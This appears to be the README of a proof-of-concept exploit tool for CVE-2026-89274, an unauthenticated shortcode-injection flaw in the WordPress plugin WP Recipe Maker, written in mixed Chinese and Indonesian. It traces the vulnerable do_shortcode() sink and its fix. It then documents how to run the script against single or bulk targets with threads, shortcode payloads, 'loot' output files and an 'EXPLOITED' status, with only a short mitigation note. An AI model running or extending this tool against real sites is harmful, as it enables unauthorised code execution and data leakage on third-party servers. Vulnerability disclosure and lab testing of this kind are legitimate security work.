| 字段 | 值 |
|---|
| CVE ID | CVE-2026-89274 |
| 目标 | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| 类别 | 代码注入 (CWE-94) — 任意短代码执行 |
| CVSS v3.1 | 9.1 严重 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 向量 | 食谱评论内容(未认证) |
| Sink | class-wprm-metadata.php 中的 do_shortcode() |
| 影响 | 服务端短代码执行 → 通过公开 JSON-LD 泄露数据 |
| 作者 | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
存在漏洞 (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() 先执行短代码,然后 strip_shortcodes() 仅清理其输出 — 完全没有保护。
已修补 (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (komentar publik pada post resep)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK EKSEKUSI
└─> wp_json_encode() ke <script type="application/ld+json">
wprm-comment-rating 字段(通过评论表单填写)。git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.
要求:Python 3.8+。
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
targets.txt 格式(每行一个,url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| 标志 | 默认值 | 描述 |
|---|---|---|
-u, --url | — | 单个目标 URL |
-f, --file | — | 目标列表文件(每行 url[,post_id]) |
-p, --post | 10 | 包含食谱的帖子 ID |
-t, --threads | 5 | 工作线程数 |
-o, --output | cve-2026-89274-loot.json | JSON 输出文件 |
--shortcode | [wprm-recipe-name id=11] | 要执行的短代码载荷 |
--marker | PoC Recipe | 用于在 reviewBody 中证明执行的子字符串 |
--rating | 5 | WPRM 评分值 |
--timeout | 25 | 每次请求超时(秒) |
<script type="application/ld+json"> 块,收集 reviewBody。/wp-comments-post.php,携带载荷 + wprm-comment-rating 字段。--marker 出现在 reviewBody 中 → EXPLOITED。如果尚未出现 → PENDING_APPROVAL。| 状态 | 含义 |
|---|---|
EXPLOITED | 短代码已执行且输出泄露到公开 JSON-LD |
PENDING_APPROVAL | 评论已提交,等待版主批准 |
FAIL | 页面不可达 / 评论被拒绝 / 错误 |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 并严格审核评论。[...])。.
├── CVE-2026-89274.py # exploit utama
└── README.md # dokumen ini